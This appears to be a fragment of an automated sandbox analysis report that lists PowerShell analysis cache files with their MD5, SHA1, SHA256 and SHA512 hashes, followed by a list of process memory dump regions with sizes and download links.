43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a628c4bb-c847-4f43-b7b8-fc3df7e3ded8
MD5
5e3c7184a75d42dda1a83606a45001d8

SHA1
94ca15637721d88f30eb4b6220b805c5be0360ed

SHA256
8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

SHA512
fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a67207d5-5e53-419f-8e2a-a1effb0f69c8
MD5
b6d38f250ccc9003dd70efd3b778117f

SHA1
d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

SHA256
4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

SHA512
67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a79ac096-faf4-4576-a343-c83613fa4f7a
MD5
02ff38ac870de39782aeee04d7b48231

SHA1
0390d39fa216c9b0ecdb38238304e518fb2b5095

SHA256
fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

SHA512
24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

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C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_dd108f00-0793-45c0-aeb9-b9f092133b4c
MD5
a725bb9fafcf91f3c6b7861a2bde6db2

SHA1
8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

SHA256
51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

SHA512
1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ee540e35-496f-4492-97b1-205ed8f45b20
MD5
75a8da7754349b38d64c87c938545b1b

SHA1
5c28c257d51f1c1587e29164cc03ea880c21b417

SHA256
bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

SHA512
798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f726eb44-6160-4183-a8a3-b73bba0bd401
MD5
597009ea0430a463753e0f5b1d1a249e

SHA1
4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

SHA256
3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

SHA512
5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
5ae191c4bb1610b73d39affefc94b0dc

SHA1
2ae48cb8ba6d6d7c12269c53385c66e85a134e36

SHA256
a82825f9ea099029c248b64d490eb326e955eeb1f84b0181b7ed8e682f98b5d0

SHA512
9a0c104daad520d3c7a343d2da03ac93d78f1b9c2caf0ba2927a04c22e5c258c1fb764c295751fe28c42df6c142460b13cdb36268567a89313f75be5d8a2e2d6

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memory/304-12-0x0000000000000000-mapping.dmp

Download
memory/324-10-0x0000000000000000-mapping.dmp

Download
memory/736-65-0x0000000000000000-mapping.dmp

Download
memory/740-2-0x000000002FE41000-0x000000002FE44000-memory.dmp

Filesize
12KB

Download
memory/740-3-0x0000000071441000-0x0000000071443000-memory.dmp

Filesize
8KB

Download
memory/740-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/844-18-0x0000000000000000-mapping.dmp

Download
memory/864-87-0x0000000000000000-mapping.dmp

Download
memory/988-73-0x0000000003280000-0x0000000003281000-memory.dmp

Filesize
4KB

Download
memory/988-74-0x0000000003470000-0x0000000003471000-memory.dmp

Filesize
4KB

Download
memory/988-67-0x0000000000000000-mapping.dmp

Download
memory/988-85-0x0000000004B70000-0x0000000004B71000-memory.dmp

Filesize
4KB

Download
memory/988-69-0x000000006B2A0000-0x000000006B98E000-memory.dmp

Filesize
6.9MB

Download
memory/988-70-0x0000000000430000-0x0000000000431000-memory.dmp

Filesize
4KB

Download
memory/988-75-0x0000000003472000-0x0000000003473000-memory.dmp

Filesize
4KB

Download
memory/988-71-0x00000000034B0000-0x00000000034B1000-memory.dmp

Filesize
4KB

Download
memory/988-72-0x0000000001060000-0x0000000001061000-memory.dmp

Filesize
4KB

Download
memory/1012-7-0x0000000075E51000-0x0000000075E53000-memory.dmp

Filesize
8KB

Download
memory/1012-6-0x0000000000000000-mapping.dmp

Download
memory/1056-63-0x0000000000000000-mapping.dmp

Download
memory/1100-86-0x0000000000000000-mapping.dmp

Download
memory/1104-14-0x0000000000000000-mapping.dmp

Download
memory/1420-5-0x000007FEF7590000-0x000007FEF780A000-memory.dmp

Filesize
2.5MB

Download
memory/1488-21-0x0000000000000000-mapping.dmp

Download
memory/1488-29-0x00000000013C0000-0x00000000013C1000-memory.dmp

Filesize
4KB

Download
memory/1488-61-0x0000000004E40000-0x0000000004E41000-memory.dmp

Filesize
4KB

Download
memory/1488-60-0x0000000004E30000-0x0000000004E31000-memory.dmp

Filesize
4KB

Download
memory/1488-46-0x0000000004D60000-0x0000000004D61000-memory.dmp

Filesize
4KB

Download
memory/1488-45-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

Filesize
4KB

Download
memory/1488-38-0x0000000004C10000-0x0000000004C11000-memory.dmp

Filesize
4KB

Download
memory/1488-37-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Filesize
4KB

Download
memory/1488-32-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

Filesize
4KB

Download
memory/1488-62-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1488-28-0x0000000001130000-0x0000000001131000-memory.dmp

Filesize
4KB

Download
memory/1488-27-0x0000000001442000-0x0000000001443000-memory.dmp

Filesize
4KB

Download
memory/1488-26-0x0000000001440000-0x0000000001441000-memory.dmp

Filesize
4KB

Download
memory/1488-25-0x00000000034D0000-0x00000000034D1000-memory.dmp

Filesize
4KB

Download
memory/1488-24-0x0000000000920000-0x0000000000921000-memory.dmp

Filesize
4KB

Download
memory/1488-23-0x000000006B990000-0x000000006C07E000-memory.dmp

Filesize
6.9MB

Download
memory/1500-20-0x0000000000000000-mapping.dmp

Download
memory/1552-8-0x0000000000000000-mapping.dmp

Download
memory/1624-16-0x0000000000000000-mapping.dmp

Download